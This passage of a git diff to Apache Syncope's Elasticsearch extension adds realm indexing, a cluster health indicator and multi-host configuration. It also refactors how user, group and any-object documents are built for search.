org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.identityconnectors.common.CollectionUtil; +import org.springframework.boot.actuate.health.HealthContributor; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.annotation.Bean; @@ -38,7 +40,8 @@ public class ElasticsearchClientContext { @Bean public ElasticsearchClientFactoryBean elasticsearchClientFactoryBean(final ElasticsearchProperties props) { return new ElasticsearchClientFactoryBean( - List.of(new HttpHost(props.getHostname(), props.getPort(), props.getScheme()))); + CollectionUtil.nullAsEmpty(props.getHosts()).stream(). + map(HttpHost::create).collect(Collectors.toList())); } @ConditionalOnMissingBean @@ -70,4 +73,11 @@ public ElasticsearchIndexManager elasticsearchIndexManager( public ElasticsearchIndexLoader elasticsearchIndexLoader(final ElasticsearchIndexManager indexManager) { return new ElasticsearchIndexLoader(indexManager); } + + @ConditionalOnMissingBean(name = "syncopeElasticsearchHealthContributor") + @Bean(name = { + "syncopeElasticsearchHealthContributor", "elasticsearchHealthIndicator", "elasticsearchHealthContributor" }) + public HealthContributor syncopeElasticsearchHealthContributor(final ElasticsearchClient client) { + return new SyncopeElasticsearchHealthContributor(client); + } } diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexLoader.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexLoader.java index c3fe69d34db..93e55ed7b59 100644 --- a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexLoader.java +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexLoader.java @@ -56,6 +56,11 @@ public void load(final String domain, final DataSource datasource) { indexManager.defaultSettings(), indexManager.defaultAnyMapping()); } + if (!indexManager.existsRealmIndex(domain)) { + indexManager.createRealmIndex(domain, + indexManager.defaultSettings(), indexManager.defaultRealmMapping()); + } + if (!indexManager.existsAuditIndex(domain)) { indexManager.createAuditIndex(domain, indexManager.defaultSettings(), indexManager.defaultAuditMapping()); diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexManager.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexManager.java index 1a9bc7ad987..919ff7312f5 100644 --- a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexManager.java +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchIndexManager.java @@ -20,6 +20,7 @@ import co.elastic.clients.elasticsearch.ElasticsearchClient; import co.elastic.clients.elasticsearch._types.ElasticsearchException; +import co.elastic.clients.elasticsearch._types.Refresh; import co.elastic.clients.elasticsearch._types.analysis.CustomNormalizer; import co.elastic.clients.elasticsearch._types.analysis.Normalizer; import co.elastic.clients.elasticsearch._types.mapping.DynamicTemplate; @@ -45,7 +46,9 @@ import java.util.Map; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.core.persistence.api.entity.Any; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.persistence.api.entity.Entity; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.SecureRandomUtils; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.slf4j.Logger; @@ -85,6 +88,12 @@ public boolean existsAnyIndex(final String domain, final AnyTypeKind kind) throw value(); } + public boolean existsRealmIndex(final String domain) throws IOException { + return client.indices().exists(new ExistsRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(domain)).build()). + value(); + } + public boolean existsAuditIndex(final String domain) throws IOException { return client.indices().exists(new ExistsRequest.Builder(). index(ElasticsearchUtils.getAuditIndex(domain)).build()). @@ -119,6 +128,19 @@ public TypeMapping defaultAnyMapping() throws IOException { build(); } + public TypeMapping defaultRealmMapping() throws IOException { + return new TypeMapping.Builder(). + dynamicTemplates(List.of(Map.of( + "strings", + new DynamicTemplate.Builder(). + matchMappingType("string"). + mapping(new Property.Builder(). + keyword(new KeywordProperty.Builder().normalizer("string_lowercase").build()). + build()). + build()))). + build(); + } + public TypeMapping defaultAuditMapping() throws IOException { return new TypeMapping.Builder(). dynamicTemplates(List.of(Map.of( @@ -198,6 +220,45 @@ public void removeAnyIndex(final String domain, final AnyTypeKind kind) throws I LOG.debug("Successfully removed {}: {}", ElasticsearchUtils.getAnyIndex(domain, kind), response); } + protected CreateIndexResponse doCreateRealmIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) throws IOException { + + return client.indices().create( + new CreateIndexRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(domain)). + settings(settings). + mappings(mappings). + build()); + } + + public void createRealmIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) + throws IOException { + + try { + CreateIndexResponse response = doCreateRealmIndex(domain, settings, mappings); + + LOG.debug("Successfully created realm index {}: {}", + ElasticsearchUtils.getRealmIndex(domain), response); + } catch (ElasticsearchException e) { + LOG.debug("Could not create realm index {} because it already exists", + ElasticsearchUtils.getRealmIndex(domain), e); + + removeRealmIndex(domain); + doCreateRealmIndex(domain, settings, mappings); + } + } + + public void removeRealmIndex(final String domain) throws IOException { + DeleteIndexResponse response = client.indices().delete( + new DeleteIndexRequest.Builder().index(ElasticsearchUtils.getRealmIndex(domain)).build()); + LOG.debug("Successfully removed {}: {}", ElasticsearchUtils.getRealmIndex(domain), response); + } + protected CreateIndexResponse doCreateAuditIndex( final String domain, final IndexSettings settings, @@ -238,31 +299,54 @@ public void removeAuditIndex(final String domain) throws IOException { } @TransactionalEventListener - public void any(final AnyLifecycleEvent> event) throws IOException { - LOG.debug("About to {} index for {}", event.getType().name(), event.getAny()); - - if (event.getType() == SyncDeltaType.DELETE) { - DeleteRequest request = new DeleteRequest.Builder().index( - ElasticsearchUtils.getAnyIndex(event.getDomain(), event.getAny().getType().getKind())). - id(event.getAny().getKey()). - build(); - DeleteResponse response = client.delete(request); - LOG.debug("Index successfully deleted for {}[{}]: {}", - event.getAny().getType().getKind(), event.getAny().getKey(), response); - } else { - IndexRequest> request = new IndexRequest.Builder>(). - index(ElasticsearchUtils.getAnyIndex(event.getDomain(), event.getAny().getType().getKind())). - id(event.getAny().getKey()). - document(elasticsearchUtils.document(event.getAny(), event.getDomain())). - build(); - IndexResponse response = client.index(request); - LOG.debug("Index successfully created or updated for {}: {}", event.getAny(), response); + public void entity(final EntityLifecycleEvent event) throws IOException { + LOG.debug("About to {} index for {}", event.getType().name(), event.getEntity()); + + if (event.getEntity() instanceof Any) { + Any any = (Any) event.getEntity(); + + if (event.getType() == SyncDeltaType.DELETE) { + DeleteRequest request = new DeleteRequest.Builder().index( + ElasticsearchUtils.getAnyIndex(event.getDomain(), any.getType().getKind())). + id(any.getKey()). + build(); + DeleteResponse response = client.delete(request); + LOG.debug("Index successfully deleted for {}[{}]: {}", + any.getType().getKind(), any.getKey(), response); + } else { + IndexRequest> request = new IndexRequest.Builder>(). + index(ElasticsearchUtils.getAnyIndex(event.getDomain(), any.getType().getKind())). + id(any.getKey()). + document(elasticsearchUtils.document(any)). + build(); + IndexResponse response = client.index(request); + LOG.debug("Index successfully created or updated for {}: {}", any, response); + } + } else if (event.getEntity() instanceof Realm) { + Realm realm = (Realm) event.getEntity(); + + if (event.getType() == SyncDeltaType.DELETE) { + DeleteRequest request = new DeleteRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(event.getDomain())). + id(realm.getKey()). + refresh(Refresh.True). + build(); + DeleteResponse response = client.delete(request); + LOG.debug("Index successfully deleted for {}: {}", realm, response); + } else { + IndexRequest> request = new IndexRequest.Builder>(). + index(ElasticsearchUtils.getRealmIndex(event.getDomain())). + id(realm.getKey()). + document(elasticsearchUtils.document(realm)). + refresh(Refresh.True). + build(); + IndexResponse response = client.index(request); + LOG.debug("Index successfully created or updated for {}: {}", realm, response); + } } } - public void audit(final String domain, final long instant, final JsonNode message) - throws IOException { - + public void audit(final String domain, final long instant, final JsonNode message) throws IOException { LOG.debug("About to audit"); IndexRequest> request = new IndexRequest.Builder>(). diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchProperties.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchProperties.java index 4a86dca7009..793da71bd0b 100644 --- a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchProperties.java +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchProperties.java @@ -18,17 +18,14 @@ */ package org.apache.syncope.ext.elasticsearch.client; -import org.apache.http.HttpHost; +import java.util.ArrayList; +import java.util.List; import org.springframework.boot.context.properties.ConfigurationProperties; @ConfigurationProperties("elasticsearch") public class ElasticsearchProperties { - private String hostname = "localhost"; - - private int port = 9200; - - private String scheme = HttpHost.DEFAULT_SCHEME_NAME; + private List hosts = new ArrayList<>(); private int indexMaxResultWindow = 10000; @@ -36,28 +33,12 @@ public class ElasticsearchProperties { private String numberOfReplicas = "1"; - public String getHostname() { - return hostname; - } - - public void setHostname(final String hostname) { - this.hostname = hostname; - } - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - public String getScheme() { - return scheme; + public List getHosts() { + return hosts; } - public void setScheme(final String scheme) { - this.scheme = scheme; + public void setHosts(final List hosts) { + this.hosts = hosts; } public int getIndexMaxResultWindow() { diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchUtils.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchUtils.java index 7421d0fc260..2093c514519 100644 --- a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchUtils.java +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/ElasticsearchUtils.java @@ -26,21 +26,24 @@ import java.util.HashSet; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; +import org.apache.commons.lang3.ArrayUtils; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; +import org.apache.syncope.core.persistence.api.entity.GroupableRelatable; import org.apache.syncope.core.persistence.api.entity.PlainAttr; import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; import org.apache.syncope.core.persistence.api.entity.Privilege; +import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.persistence.api.entity.user.User; -import org.apache.syncope.core.spring.security.AuthContextUtils; import org.springframework.transaction.annotation.Transactional; /** @@ -52,10 +55,29 @@ public static String getAnyIndex(final String domain, final AnyTypeKind kind) { return domain.toLowerCase() + '_' + kind.name().toLowerCase(); } + public static String getRealmIndex(final String domain) { + return domain.toLowerCase() + "_realm"; + } + public static String getAuditIndex(final String domain) { return domain.toLowerCase() + "_audit"; } + protected static final char[] ELASTICSEARCH_REGEX_CHARS = new char[] { + '.', '?', '+', '*', '|', '{', '}', '[', ']', '(', ')', '"', '\\', '&' }; + + public static String escapeForLikeRegex(final char c) { + StringBuilder output = new StringBuilder(); + + if (ArrayUtils.contains(ELASTICSEARCH_REGEX_CHARS, c)) { + output.append('\\'); + } + + output.append(c); + + return output.toString(); + } + protected final UserDAO userDAO; protected final GroupDAO groupDAO; @@ -76,31 +98,25 @@ public ElasticsearchUtils( * Returns the document specialized with content from the provided any. * * @param any user, group or any object to index - * @param domain tenant information * @return document specialized with content from the provided any - * @throws IOException in case of errors */ + @SuppressWarnings("unchecked") @Transactional - public Map document(final Any any, final String domain) throws IOException { - Set resources = new HashSet<>(); - List dynRealms = new ArrayList<>(); - AuthContextUtils.callAsAdmin(domain, () -> { - resources.addAll(any instanceof User - ? userDAO.findAllResourceKeys(any.getKey()) - : any instanceof AnyObject - ? anyObjectDAO.findAllResourceKeys(any.getKey()) - : groupDAO.findAllResourceKeys(any.getKey())); - dynRealms.addAll(any instanceof User - ? userDAO.findDynRealms(any.getKey()) - : any instanceof AnyObject - ? anyObjectDAO.findDynRealms(any.getKey()) - : groupDAO.findDynRealms(any.getKey())); - return null; - }); + public Map document(final Any any) { + Collection resources = any instanceof User + ? userDAO.findAllResourceKeys(any.getKey()) + : any instanceof AnyObject + ? anyObjectDAO.findAllResourceKeys(any.getKey()) + : groupDAO.findAllResourceKeys(any.getKey()); + Collection dynRealms = any instanceof User + ? userDAO.findDynRealms(any.getKey()) + : any instanceof AnyObject + ? anyObjectDAO.findDynRealms(any.getKey()) + : groupDAO.findDynRealms(any.getKey()); Map builder = new HashMap<>(); builder.put("id", any.getKey()); - builder.put("realm", any.getRealm().getFullPath()); + builder.put("realm", any.getRealm().getKey()); builder.put("anyType", any.getType().getKey()); builder.put("creationDate", any.getCreationDate()); builder.put("creationContext", any.getCreationContext()); @@ -117,46 +133,34 @@ public Map document(final Any any, final String domain) throw AnyObject anyObject = ((AnyObject) any); builder.put("name", anyObject.getName()); - Collection memberships = AuthContextUtils.callAsAdmin( - domain, () -> anyObjectDAO.findAllGroupKeys(anyObject)); - builder.put("memberships", memberships); + builder.put("memberships", anyObjectDAO.findAllGroupKeys(anyObject)); List relationships = new ArrayList<>(); List relationshipTypes = new ArrayList<>(); - AuthContextUtils.callAsAdmin(domain, () -> { - anyObjectDAO.findAllRelationships(anyObject).forEach(relationship -> { - relationships.add(relationship.getRightEnd().getKey()); - relationshipTypes.add(relationship.getType().getKey()); - }); - return null; + anyObjectDAO.findAllRelationships(anyObject).forEach(relationship -> { + relationships.add(relationship.getRightEnd().getKey()); + relationshipTypes.add(relationship.getType().getKey()); }); builder.put("relationships", relationships); builder.put("relationshipTypes", relationshipTypes); - ElasticsearchUtils.this.customizeDocument(builder, anyObject, domain); + customizeDocument(builder, anyObject); } else if (any instanceof Group) { Group group = ((Group) any); builder.put("name", group.getName()); - if (group.getUserOwner() != null) { - builder.put("userOwner", group.getUserOwner().getKey()); - } - if (group.getGroupOwner() != null) { - builder.put("groupOwner", group.getGroupOwner().getKey()); - } + Optional.ofNullable(group.getUserOwner()).ifPresent(uo -> builder.put("userOwner", uo.getKey())); + Optional.ofNullable(group.getGroupOwner()).ifPresent(go -> builder.put("groupOwner", go.getKey())); Set members = new HashSet<>(); - AuthContextUtils.callAsAdmin(domain, () -> { - members.addAll(groupDAO.findUMemberships(group).stream(). - map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); - members.addAll(groupDAO.findUDynMembers(group)); - members.addAll(groupDAO.findAMemberships(group).stream(). - map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); - members.addAll(groupDAO.findADynMembers(group)); - return null; - }); + members.addAll(groupDAO.findUMemberships(group).stream(). + map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); + members.addAll(groupDAO.findUDynMembers(group)); + members.addAll(groupDAO.findAMemberships(group).stream(). + map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); + members.addAll(groupDAO.findADynMembers(group)); builder.put("members", members); - ElasticsearchUtils.this.customizeDocument(builder, group, domain); + customizeDocument(builder, group); } else if (any instanceof User) { User user = ((User) any); builder.put("username", user.getUsername()); @@ -170,19 +174,14 @@ public Map document(final Any any, final String domain) throw List roles = new ArrayList<>(); Set privileges = new HashSet<>(); - AuthContextUtils.callAsAdmin(domain, () -> { - userDAO.findAllRoles(user).forEach(role -> { - roles.add(role.getKey()); - privileges.addAll(role.getPrivileges().stream().map(Privilege::getKey).collect(Collectors.toSet())); - }); - return null; + userDAO.findAllRoles(user).forEach(role -> { + roles.add(role.getKey()); + privileges.addAll(role.getPrivileges().stream().map(Privilege::getKey).collect(Collectors.toSet())); }); builder.put("roles", roles); builder.put("privileges", privileges); - Collection memberships = AuthContextUtils.callAsAdmin( - domain, () -> userDAO.findAllGroupKeys(user)); - builder.put("memberships", memberships); + builder.put("memberships", userDAO.findAllGroupKeys(user)); List relationships = new ArrayList<>(); Set relationshipTypes = new HashSet<>(); @@ -193,35 +192,63 @@ public Map document(final Any any, final String domain) throw builder.put("relationships", relationships); builder.put("relationshipTypes", relationshipTypes); - customizeDocument(builder, user, domain); + customizeDocument(builder, user); } for (PlainAttr plainAttr : any.getPlainAttrs()) { List values = plainAttr.getValues().stream(). map(PlainAttrValue::getValue).collect(Collectors.toList()); - if (plainAttr.getUniqueValue() != null) { - values.add(plainAttr.getUniqueValue().getValue()); - } + Optional.ofNullable(plainAttr.getUniqueValue()).ifPresent(v -> values.add(v.getValue())); builder.put(plainAttr.getSchema().getKey(), values.size() == 1 ? values.get(0) : values); } + // add also flattened membership attributes + if (any instanceof GroupableRelatable) { + GroupableRelatable groupable = GroupableRelatable.class.cast(any); + groupable.getMemberships().forEach(m -> groupable.getPlainAttrs(m).forEach(mAttr -> { + List values = mAttr.getValues().stream(). + map(PlainAttrValue::getValue).collect(Collectors.toList()); + + Optional.ofNullable(mAttr.getUniqueValue()).ifPresent(v -> values.add(v.getValue())); + + Object attr = builder.computeIfAbsent(mAttr.getSchema().getKey(), k -> new HashSet<>()); + // also support case in which there is also an existing attribute set previously + if (attr instanceof Collection) { + ((Collection) attr).addAll(values); + } else { + values.add(attr); + builder.put(mAttr.getSchema().getKey(), values.size() == 1 ? values.get(0) : values); + } + })); + } + return builder; } - protected void customizeDocument( - final Map builder, final AnyObject anyObject, final String domain) - throws IOException { + protected void customizeDocument(final Map builder, final AnyObject anyObject) { } - protected void customizeDocument( - final Map builder, final Group group, final String domain) - throws IOException { + protected void customizeDocument(final Map builder, final Group group) { } - protected void customizeDocument(final Map builder, final User user, final String domain) - throws IOException { + protected void customizeDocument(final Map builder, final User user) { + } + + public Map document(final Realm realm) { + Map builder = new HashMap<>(); + builder.put("id", realm.getKey()); + builder.put("name", realm.getName()); + builder.put("parent_id", realm.getParent() == null ? null : realm.getParent().getKey()); + builder.put("fullPath", realm.getFullPath()); + + customizeDocument(builder, realm); + + return builder; + } + + protected void customizeDocument(final Map builder, final Realm realm) { } public Map document( diff --git a/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/SyncopeElasticsearchHealthContributor.java b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/SyncopeElasticsearchHealthContributor.java new file mode 100644 index 00000000000..de935721b0a --- /dev/null +++ b/ext/elasticsearch/client-elasticsearch/src/main/java/org/apache/syncope/ext/elasticsearch/client/SyncopeElasticsearchHealthContributor.java @@ -0,0 +1,70 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.elasticsearch.client; + +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch.cluster.HealthResponse; +import org.springframework.boot.actuate.health.Health; +import org.springframework.boot.actuate.health.HealthIndicator; + +public class SyncopeElasticsearchHealthContributor implements HealthIndicator { + + protected final ElasticsearchClient client; + + public SyncopeElasticsearchHealthContributor(final ElasticsearchClient client) { + this.client = client; + } + + @Override + public Health health() { + Health.Builder builder = new Health.Builder(); + + try { + HealthResponse health = client.cluster().health(); + switch (health.status()) { + case Green: + case Yellow: + builder.up(); + break; + + case Red: + default: + builder.down(); + } + builder.withDetail("cluster_name", health.clusterName()); + builder.withDetail("status", health.status().jsonValue()); + builder.withDetail("timed_out", health.timedOut()); + builder.withDetail("number_of_nodes", health.numberOfNodes()); + builder.withDetail("number_of_data_nodes", health.numberOfDataNodes()); + builder.withDetail("active_primary_shards", health.activePrimaryShards()); + builder.withDetail("relocating_shards", health.relocatingShards()); + builder.withDetail("initializing_shards", health.initializingShards()); + builder.withDetail("unassigned_shards", health.unassignedShards()); + builder.withDetail("delayed_unassigned_shards", health.delayedUnassignedShards()); + builder.withDetail("number_of_pending_tasks", health.numberOfPendingTasks()); + builder.withDetail("number_of_in_flight_fetch", health.numberOfInFlightFetch()); + builder.withDetail("task_max_waiting_in_queue_millis", health.taskMaxWaitingInQueueMillis()); + builder.withDetail("active_shards_percent_as_number", health.activeShardsPercentAsNumber()); + } catch (Exception e) { + builder.down(e); + } + + return builder.build(); + } +} diff --git a/ext/elasticsearch/logic/pom.xml b/ext/elasticsearch/logic/pom.xml index 65c761408aa..6485ec836df 100644 --- a/ext/elasticsearch/logic/pom.xml +++ b/ext/elasticsearch/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-elasticsearch - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Elasticsearch Logic diff --git a/ext/elasticsearch/persistence-jpa/pom.xml b/ext/elasticsearch/persistence-jpa/pom.xml index 08de29d0362..36abb8b6781 100644 --- a/ext/elasticsearch/persistence-jpa/pom.xml +++ b/ext/elasticsearch/persistence-jpa/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-elasticsearch - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Elasticsearch Persistence JPA @@ -51,6 +51,11 @@ under the License. + + org.slf4j + slf4j-simple + test + org.mockito mockito-inline diff --git a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/ElasticsearchPersistenceContext.java b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/ElasticsearchPersistenceContext.java index 88e9e1e1609..fb6f7cc495f 100644 --- a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/ElasticsearchPersistenceContext.java +++ b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/ElasticsearchPersistenceContext.java @@ -27,13 +27,16 @@ import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.jpa.dao.ElasticsearchAnySearchDAO; import org.apache.syncope.core.persistence.jpa.dao.ElasticsearchAuditConfDAO; +import org.apache.syncope.core.persistence.jpa.dao.ElasticsearchRealmDAO; import org.apache.syncope.ext.elasticsearch.client.ElasticsearchProperties; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Lazy; @@ -70,6 +73,17 @@ public AnySearchDAO anySearchDAO( props.getIndexMaxResultWindow()); } + @ConditionalOnMissingBean(name = "elasticsearchRealmDAO") + @Bean + public RealmDAO realmDAO( + final @Lazy RoleDAO roleDAO, + final ApplicationEventPublisher publisher, + final ElasticsearchProperties props, + final ElasticsearchClient client) { + + return new ElasticsearchRealmDAO(roleDAO, publisher, client, props.getIndexMaxResultWindow()); + } + @ConditionalOnMissingBean(name = "elasticsearchAuditConfDAO") @Bean public AuditConfDAO auditConfDAO( diff --git a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAO.java b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAO.java index b7cb0c09c42..1bd3c1b1205 100644 --- a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAO.java +++ b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAO.java @@ -24,22 +24,23 @@ import co.elastic.clients.elasticsearch._types.SearchType; import co.elastic.clients.elasticsearch._types.SortOptions; import co.elastic.clients.elasticsearch._types.SortOrder; +import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery; +import co.elastic.clients.elasticsearch._types.query_dsl.DisMaxQuery; import co.elastic.clients.elasticsearch._types.query_dsl.Query; import co.elastic.clients.elasticsearch._types.query_dsl.QueryBuilders; +import co.elastic.clients.elasticsearch._types.query_dsl.RangeQuery; import co.elastic.clients.elasticsearch.core.CountRequest; import co.elastic.clients.elasticsearch.core.SearchRequest; import co.elastic.clients.elasticsearch.core.search.Hit; +import co.elastic.clients.elasticsearch.core.search.SourceConfig; import co.elastic.clients.json.JsonData; -import java.io.IOException; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashSet; import java.util.List; -import java.util.Map; import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; -import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; import org.apache.syncope.common.lib.SyncopeClientException; @@ -57,7 +58,6 @@ import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; @@ -89,21 +89,6 @@ */ public class ElasticsearchAnySearchDAO extends AbstractAnySearchDAO { - protected static final char[] ELASTICSEARCH_REGEX_CHARS = new char[] { - '.', '?', '+', '*', '|', '{', '}', '[', ']', '(', ')', '"', '\\', '&' }; - - protected static String escapeForLikeRegex(final char c) { - StringBuilder output = new StringBuilder(); - - if (ArrayUtils.contains(ELASTICSEARCH_REGEX_CHARS, c)) { - output.append('\\'); - } - - output.append(c); - - return output.toString(); - } - protected final ElasticsearchClient client; protected final int indexMaxResultWindow; @@ -152,17 +137,17 @@ protected Triple, Set, Set> getAdminRealmsFilter if (goRealm.isPresent()) { groupOwners.add(goRealm.get().getRight()); } else if (realmPath.startsWith("/")) { - Realm realm = realmDAO.findByFullPath(realmPath); - if (realm == null) { + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(realmPath)).orElseThrow(() -> { SyncopeClientException noRealm = SyncopeClientException.build(ClientExceptionType.InvalidRealm); noRealm.getElements().add("Invalid realm specified: " + realmPath); - throw noRealm; - } else { - realmDAO.findDescendants(realm).forEach(descendant -> queries.add( - new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(descendant.getFullPath())).build()). - build())); - } + return noRealm; + }); + + realmDAO.findDescendants(realm.getFullPath(), base.getFullPath()). + forEach(descendant -> queries.add( + new Query.Builder().term(QueryBuilders.term(). + field("realm").value(descendant).build()). + build())); } else { DynRealm dynRealm = dynRealmDAO.find(realmPath); if (dynRealm == null) { @@ -170,15 +155,15 @@ protected Triple, Set, Set> getAdminRealmsFilter } else { dynRealmKeys.add(dynRealm.getKey()); queries.add(new Query.Builder().term(QueryBuilders.term(). - field("dynRealm").value(FieldValue.of(dynRealm.getKey())).build()). + field("dynRealm").value(dynRealm.getKey()).build()). build()); } } }); } else { - if (adminRealms.stream().anyMatch(r -> base.getFullPath().startsWith(r))) { + if (adminRealms.stream().anyMatch(r -> r.startsWith(base.getFullPath()))) { queries.add(new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(base.getFullPath())).build()). + field("realm").value(base.getKey()).build()). build()); } } @@ -205,10 +190,10 @@ protected Query getQuery( if (!recursive) { query = new Query.Builder().bool( QueryBuilders.bool(). - must(new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(base.getFullPath())).build()). + filter(new Query.Builder().term(QueryBuilders.term(). + field("realm").value(base.getKey()).build()). build()). - must(query).build()). + filter(query).build()). build(); } } else { @@ -219,8 +204,8 @@ protected Query getQuery( if (filter.getLeft().isPresent()) { query = new Query.Builder().bool( QueryBuilders.bool(). - must(filter.getLeft().get()). - must(query).build()). + filter(filter.getLeft().get()). + filter(query).build()). build(); } } @@ -240,10 +225,12 @@ protected int doCount( index(ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), kind)). query(getQuery(base, recursive, adminRealms, cond, kind)). build(); + LOG.debug("Count JSON request: {}", request); + try { return (int) client.count(request).count(); - } catch (IOException e) { - LOG.error("Search error", e); + } catch (Exception e) { + LOG.error("While counting in Elasticsearch", e); return 0; } } @@ -304,12 +291,13 @@ protected > List doSearch( from(itemsPerPage * (page <= 0 ? 0 : page - 1)). 